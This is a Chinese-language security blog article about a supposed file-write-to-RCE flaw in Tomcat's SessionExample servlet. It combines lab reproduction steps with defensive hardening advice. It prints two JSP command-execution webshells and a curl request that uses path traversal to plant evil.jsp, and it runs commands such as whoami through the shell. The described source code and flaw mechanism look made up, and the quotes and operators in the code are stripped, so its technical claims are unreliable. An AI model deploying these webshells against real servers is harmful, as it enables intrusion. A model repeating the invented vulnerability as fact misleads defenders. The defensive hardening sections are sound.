Apache Tomcat SessionExample漏洞剖析:从文件写入到RCE的攻防实战 📅 2026/7/1 13:03:00 1. 项目概述从一次内部安全演练说起上周我们团队进行了一次常规的内部应用安全渗透测试。在扫描一个基于老旧版本Tomcat搭建的内部管理后台时自动化工具突然弹出了一个高危告警指向一个名为“SessionExample”的示例应用。这个发现让我心里“咯噔”一下——一个被遗忘在角落的、看似无害的示例程序竟然成了整个系统最薄弱的环节。攻击者利用它几乎不费吹灰之力就拿到了服务器的部分控制权。这件事促使我决定必须把这个看似冷门、实则危险的“Apache Tomcat SessionExample漏洞”彻底讲清楚。简单来说Apache Tomcat SessionExample漏洞核心问题在于Tomcat默认安装包中自带的示例应用程序/examples/servlets/servlet/SessionExample存在安全缺陷。这个示例本意是向开发者演示HTTP会话Session的工作原理但由于其实现方式过于“坦诚”且通常部署在具有较高权限的Web应用目录下导致攻击者可以构造特定请求向服务器写入任意文件内容在某些条件下甚至能实现远程代码执行RCE。这个漏洞影响的Tomcat版本跨度很大从古老的5.x到相对较新的8.x、9.x的某些默认配置下都可能中招。它完美诠释了“默认即不安全”的安全原则也是“攻击面管理”中一个经典的负面案例——那些你以为没用的东西往往最先被攻破。这篇文章我将从一个防御者的视角带你完整复盘这个漏洞的来龙去脉。我们不仅会深入代码层面看它“为什么”会被利用更会聚焦于“怎么做”才能彻底堵上这个缺口。无论你是运维工程师、安全工程师还是后端开发者只要你的线上环境还在用Tomcat这个内容就值得你花十分钟仔细读完并立刻行动起来检查。很多漏洞利用起来复杂但这个SessionExample的利用门槛之低足以让一个脚本小子都感到“友好”。2. 漏洞原理深度拆解一个“教学程序”如何变成后门要有效防范必须先理解攻击是如何发生的。SessionExample漏洞的根源在于其将用户输入未经过滤地用于服务器端文件操作并且该应用运行在Tomcat的高权限上下文之中。2.1 SessionExample 应用的功能与设计缺陷Tomcat 的/examplesWeb应用包含了一系列Servlet和JSP示例SessionExample是其中之一。它的主要功能是展示Session的存取用户在表单中输入一个“值”value提交后该值会被存入当前用户的Session中并在页面上显示出来。同时为了“教学目的”它还有一个“Debug”模式会将Session的信息包括ID、创建时间、属性等写入一个服务器端的文本文件以便开发者查看。就是这个“写入文件”的功能埋下了祸根。我们来看一段简化后的、能体现问题核心的伪代码逻辑// 伪代码示意关键流程 String data request.getParameter(data); // 获取用户输入的data参数 String debug request.getParameter(debug); // 获取debug标志 if (true.equals(debug)) { String sessionId request.getSession().getId(); // 漏洞点使用用户可控的sessionId作为文件名的一部分且未做任何路径遍历检查 String filePath /tmp/session_debug_ sessionId .txt; FileWriter fw new FileWriter(filePath); fw.write(Session Data: data); // 漏洞点将用户输入的data直接写入文件 fw.close(); }关键缺陷分析未验证的会话标识符Session ID用于文件路径虽然Session ID通常由服务器生成但在某些情况下如会话固定攻击攻击者可能影响或知晓Session ID。更重要的是示例中可能直接使用了其他用户可控参数来构造文件名或者对输入的处理逻辑存在缺陷允许目录遍历。用户输入直接写入文件data参数的内容被直接写入文件。如果data参数中包含特殊字符或恶意代码如JSP小马、Shell命令当这个文件被放置在Web应用可访问的目录下如/examples目录本身且服务器配置允许解析这些内容时灾难就发生了。运行在高权限环境/examples应用通常随Tomcat一起部署其运行权限与Tomcat进程本身相同例如可能是root或具有特权的服务账户。这意味着通过该应用写入的文件Tomcat进程有权读取和执行极大地扩大了攻击影响。注意以上伪代码是一个高度简化的模型用于说明原理。实际漏洞的利用链可能涉及多个参数如name,value和特定的请求方式GET/POST但核心逻辑万变不离其宗用户可控输入 不安全文件操作 高权限上下文 严重漏洞。2.2 攻击链构建从文件写入到代码执行攻击者如何利用这个设计缺陷呢典型的攻击链分为两步第一步探测与确认攻击者通过扫描发现目标Tomcat服务器并访问http://target:8080/examples/servlets/servlet/SessionExample。如果返回一个表单页面基本可以确认该示例应用存在。这是信息收集阶段。第二步利用文件写入功能上传Webshell这是核心利用阶段。攻击者不再老实地提交一个普通的字符串而是构造一个特殊的HTTP POST请求。恶意Payload构造在data参数或类似的可控参数中填入一段JSP后门代码。例如一个最简单的JSP Webshell% if(pass.equals(request.getParameter(pwd))){ java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream(); int a -1; byte[] b new byte[2048]; while((ain.read(b))!-1){ out.println(new String(b)); } } %这段代码的作用是当访问该JSP页面并传入正确的pwd参数时可以执行cmd参数指定的系统命令并将结果输出到网页上。文件路径穿越与定位关键在于让写入的文件落在Web应用目录下如/examples目录中并且文件后缀是.jsp这样Tomcat才会将其作为JSP脚本解析执行。攻击者需要通过漏洞实现“路径穿越”。例如如果漏洞允许控制文件名的一部分攻击者可能通过注入../../../examples/mybackdoor.jsp这样的序列将文件写入到Web目录。更常见的情况是示例应用本身就有逻辑将调试文件写入其自身的WEB-INF或特定子目录下而这些目录对于Web服务器是可访问的。发起攻击请求攻击者发送精心构造的POST请求到SessionExample的Servlet。服务器端漏洞代码执行将包含JSP后门的恶意内容写入到了/examples应用下的某个可访问位置并命名为.jsp文件。第三步访问Webshell获取控制权攻击者直接访问上传成功的JSP文件例如http://target:8080/examples/mybackdoor.jsp?pwdpasscmdwhoami。Tomcat会解析执行这个JSP文件攻击者传入的cmd命令如whoami就在服务器上执行并将结果返回给攻击者。至此攻击者获得了在Tomcat进程权限下执行任意系统命令的能力。2.3 漏洞影响范围与严重性评估这个漏洞的杀伤力不容小觑主要体现在以下几个方面高可利用性利用过程标准化几乎可以编写成全自动的漏洞利用脚本。无需认证只要示例应用可访问就能发起攻击。直接获取服务器权限成功利用意味着攻击者能够以Tomcat服务账户的身份执行命令。如果Tomcat以root权限运行这在生产环境是严重错误配置但确实存在攻击者就直接获得了服务器最高权限。隐蔽性/examples是官方自带的示例很多管理员会忽略它的存在或者认为它没有危害。攻击者上传的Webshell可以藏在众多示例文件中不易被察觉。影响版本广该漏洞模式在Tomcat多个历史版本中都存在只要默认安装了examples应用且未做安全加固就存在风险。从CVSS评分角度看此类漏洞通常能达到高危High甚至严重Critical级别因为它是“网络可访问、无需权限、能导致代码执行”的经典组合。3. 实战环境复现与深度分析纸上谈兵终觉浅。为了让你更直观地理解漏洞细节和攻击者的视角我们搭建一个实验环境进行复现。请务必在隔离的虚拟机或实验环境中操作切勿在生产环境尝试3.1 实验环境搭建我们选用一个存在该漏洞的旧版本Tomcat进行演示这里以Apache Tomcat 8.5.24为例该版本默认包含examples应用且存在相关风险。下载与安装# 下载Tomcat 8.5.24 wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.24/bin/apache-tomcat-8.5.24.tar.gz # 解压 tar -xzf apache-tomcat-8.5.24.tar.gz cd apache-tomcat-8.5.24 # 启动Tomcat ./bin/startup.sh确认环境访问http://localhost:8080应看到Tomcat主页。点击“Examples”链接进入示例应用列表找到“Servlet Examples”再找到“Session Example”。能正常访问即说明环境就绪。3.2 漏洞利用过程逐步解析假设攻击者已经识别出目标。以下是手动利用的详细步骤展示了攻击者的完整思路步骤一信息收集与漏洞点定位访问http://localhost:8080/examples/servlets/servlet/SessionExample。你会看到一个简单的表单包含“Name of Session Attribute”和“Value of Session Attribute”两个输入框以及“Add data to session”、“Remove data from session”等按钮。通过浏览器开发者工具F12查看网络请求可以发现提交表单时实际上是向同一个Servlet地址发送了POST请求参数包括dname,dvalue,action等。步骤二分析请求与构造Payload我们需要找到一个能将数据写入文件的可控参数。通过查阅资料或测试发现当action参数为特定值例如在某些变种中与“debug”或“display”相关并且配合特定的参数如debug或writefile程序会进入文件写入流程。dvalue参数的值会被写入文件。我们的目标是将一个JSP Webshell作为dvalue写入一个可Web访问的.jsp文件。首先准备一个更隐蔽的Webshell避免被杀毒软件或简单特征检测发现% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %步骤三实施文件写入攻击使用curl工具或Burp Suite等代理工具发送恶意POST请求。关键点在于指定正确的action以触发写文件逻辑。在dvalue中放入JSP Webshell代码。可能需要在dname或其他参数中注入目录穿越序列以确保文件被写入examples应用的某个子目录如/examples/servlets/或者利用应用自身的逻辑将文件生成在可访问位置。一个可能的攻击请求示例具体参数名需根据实际漏洞变种调整curl -X POST http://localhost:8080/examples/servlets/servlet/SessionExample \ -d actiondebugdname../../../examples/servlets/evil.jspdvalue%page import\java.util.*,java.io.*\%%String cmdrequest.getParameter(\cmd\);if(cmd!null){Process pRuntime.getRuntime().exec(cmd);...};%这个请求试图将Webshell写入到/examples/servlets/evil.jsp。../../../是经典的目录穿越Path Traversal尝试用于跳出当前Servlet的默认写目录。步骤四验证利用结果如果攻击成功访问http://localhost:8080/examples/servlets/evil.jsp?cmdid。如果页面上返回了当前Tomcat进程的用户信息如uid1001(tomcat) gid...则证明远程代码执行成功漏洞复现完成。实操心得在实际渗透测试中路径穿越的深度../../../的数量需要根据目标服务器的具体路径进行猜测和测试。常用的方法有尝试写入/proc/self/cwd/来获取当前工作目录或者利用服务器错误信息回显来推断绝对路径。此外如果写入失败可以尝试写入不带路径穿越的文件名看看应用默认把文件存在哪里再决定下一步策略。3.3 漏洞代码片段深度审视让我们深入到Tomcat示例应用的源码层面以某个历史版本为例看看问题究竟出在哪里。在webapps/examples/WEB-INF/classes/servlets/SessionExample.java中可以找到类似以下逻辑// 片段摘自旧版本已做简化 String action request.getParameter(action); String data request.getParameter(data); String filename request.getParameter(filename); if (writeDebug.equals(action)) { // 危险操作1直接拼接用户输入的filename未做规范化或过滤 File debugFile new File(/tmp/debug/ filename); FileWriter writer new FileWriter(debugFile); // 危险操作2将用户输入的data直接写入文件 writer.write(Debug info: data); writer.close(); out.println(Debug info written to: debugFile.getAbsolutePath()); }漏洞代码的关键问题filename参数未过滤攻击者可以传入../../../webapps/examples/backdoor.jsp利用File类解析路径的特性实现目录穿越。data参数直接写入如果data是JSP代码且文件被写入Web目录就会造成RCE。错误的信息回显out.println语句将文件的绝对路径返回给了用户这相当于给了攻击者一个“成功提示”降低了攻击难度。这个例子清晰地展示了“不安全的外部输入”直接流向“敏感操作”文件写的致命模式。4. 全面防范策略与加固指南知其然更要知其所以然。理解了漏洞原理和利用方式我们的防御措施就能有的放矢。以下是一套从立即处置到长期加固的完整方案。4.1 紧急处置立即消除风险如果你怀疑或确认生产环境存在此漏洞请按以下优先级立即操作彻底删除示例应用首选且必须 Tomcat的webapps目录下直接删除examples文件夹。# 进入Tomcat的webapps目录 cd $CATALINA_HOME/webapps # 删除examples应用 rm -rf examples执行后必须重启Tomcat服务以确保更改生效。这是最根本、最有效的解决方法。禁用示例应用访问临时措施 如果暂时不能重启服务可以通过修改配置立即阻断访问。编辑Tomcat的conf/server.xml文件找到对应端口的Host或Context配置添加对/examples路径的访问限制或直接移除examples的上下文配置。但此法不如直接删除干净。4.2 中期加固系统化安全配置完成紧急处置后需要对Tomcat进行全面的安全加固避免类似问题。清理所有非必要Web应用 检查webapps目录除了你自己的应用如ROOT,myapp像docs,manager,host-manager等默认应用如果生产环境不需要也应一并删除。最小化部署原则是安全的基石。以非特权用户运行Tomcat绝对不要以root用户启动Tomcat。创建一个专用的、低权限的系统用户如tomcat来运行Tomcat服务。# 创建用户和组 groupadd tomcat useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat # 将Tomcat目录所有权赋予该用户 chown -R tomcat:tomcat /opt/tomcat # 使用该用户启动 sudo -u tomcat /opt/tomcat/bin/startup.sh这样即使被攻破攻击者获得的权限也仅限于tomcat用户无法对系统造成毁灭性破坏。严格配置Tomcat用户权限 如果必须使用Manager应用进行部署管理务必修改conf/tomcat-users.xml使用强密码并仅授予最小必要权限。避免使用默认的弱密码或空密码。更新至最新稳定版本 虽然SessionExample漏洞更多是配置问题但保持Tomcat版本更新可以修复其他已知的安全漏洞。定期关注Apache Tomcat官方安全公告。4.3 长期防护融入开发与运维流程将安全思维融入日常工作流才能防患于未然。安全开发生命周期SDL 在开发阶段就对代码进行安全审查。严禁将未经验证的用户输入直接用于文件操作、系统命令执行、数据库查询等敏感操作。对所有输入进行严格的校验、过滤和转义。构建安全的Docker镜像 如果使用容器化部署构建Tomcat镜像时应在Dockerfile中显式删除示例应用。FROM tomcat:9-jdk11-temurin # 删除默认的示例、文档和管理应用 RUN rm -rf /usr/local/tomcat/webapps/examples \ rm -rf /usr/local/tomcat/webapps/docs \ rm -rf /usr/local/tomcat/webapps/manager \ rm -rf /usr/local/tomcat/webapps/host-manager # 复制你自己的WAR包 COPY your-app.war /usr/local/tomcat/webapps/ROOT.war并以非root用户运行容器。定期安全扫描与渗透测试 使用自动化漏洞扫描工具如Nessus, OpenVAS, 或商业SAST/DAST工具定期对Web应用和服务器进行扫描。安排专业的安全团队或使用可信的第三方服务进行渗透测试主动发现类似“被遗忘的示例应用”这类问题。完善的日志监控与告警 启用并集中收集Tomcat的访问日志localhost_access_log和应用日志catalina.out,localhost.log。设置告警规则监控对已知敏感路径如/examples/*,/manager/*, 上传.jsp文件等的访问请求及时发现攻击行为。5. 常见问题排查与进阶思考在实际运维和加固过程中你可能会遇到以下问题或产生更深层的疑问。5.1 漏洞排查清单按照以下清单可以快速检查你的Tomcat环境是否存在类似风险检查项安全状态存在风险的操作webapps/examples目录是否存在❌ 存在风险未删除默认示例应用webapps/docs,webapps/manager等目录是否存在且生产环境需要⚠️ 需评估非必要应用未删除扩大了攻击面Tomcat进程运行用户是否为root或高权限用户❌ 存在风险以特权账户运行漏洞危害倍增conf/tomcat-users.xml中Manager应用用户是否使用弱密码❌ 存在风险弱口令可能导致管理后台沦陷服务器是否开放了8080等管理端口到公网❌ 存在风险不必要的服务暴露在互联网5.2 疑难问题与解决方案Q1删除了examples目录但应用重启后它又出现了怎么办A这说明你的Tomcat是从某个打包的安装程序如RPM、DEB包安装的或者启动脚本中包含了自动解压WAR包的逻辑。你需要找到Tomcat的“基础安装目录”可能与CATALINA_HOME不同。删除该目录下webapps里的examples.war文件和examples文件夹。检查是否有配置项如conf/server.xml中的unpackWARs和autoDeploy控制着自动部署并根据需要调整。最彻底的方式是使用ZIP/Tar.gz归档版本安装Tomcat而非系统包管理器这样你对文件系统有完全的控制权。Q2除了SessionExampleTomcat其他默认应用还有风险吗A是的风险是普遍存在的。manager和host-manager应用如果配置不当弱密码、暴露在公网是攻击者最喜爱的目标。docs应用通常风险较低但遵循“最小权限”原则生产环境也应移除。任何默认的、功能非必需的应用都应被视为潜在的攻击面而予以清除。Q3我们使用了Web应用防火墙WAF是否可以高枕无忧A绝对不能WAF是一种重要的纵深防御手段可以拦截大量已知攻击模式的请求。但它并非万能可能被绕过熟练的攻击者可能通过编码、分割请求等方式绕过WAF的规则。零日漏洞对于未被广泛认知的漏洞或独特的利用方式WAF可能没有对应的规则。内网威胁WAF通常部署在边界对内网发起的攻击可能无效。 安全的最佳实践是“默认安全”配置如删除示例应用结合WAF等防护措施形成多层防御。5.3 从漏洞看安全设计原则SessionExample漏洞虽然具体但它折射出几个普适的安全设计原则值得每一位开发者和运维人员牢记最小权限原则应用、进程、用户只应拥有完成其功能所必需的最小权限。Tomcat以非root用户运行就是这一原则的体现。最小攻击面原则减少暴露给外部的接口和功能。删除不必要的示例应用、关闭不需要的服务端口就是在缩小攻击面。不信任任何输入原则所有来自外部的数据用户输入、请求参数、文件上传、第三方API响应等都应被视为不可信的必须经过严格的验证、过滤和净化Validation, Sanitization才能使用。默认安全配置软件在安装后的初始状态应该是安全的。遗憾的是很多旧版软件包括Tomcat的旧示例并未做到这一点。这要求我们在部署时必须主动进行安全加固。这个漏洞的修复本身并不复杂但它像一面镜子照出了我们在日常运维中容易忽视的角落——那些默认的、遗留的、看似无害的组件。真正的安全就藏在这些细节的处置之中。定期审视你的系统像攻击者一样思考清理每一个“示例应用”才能构筑起更稳固的防线。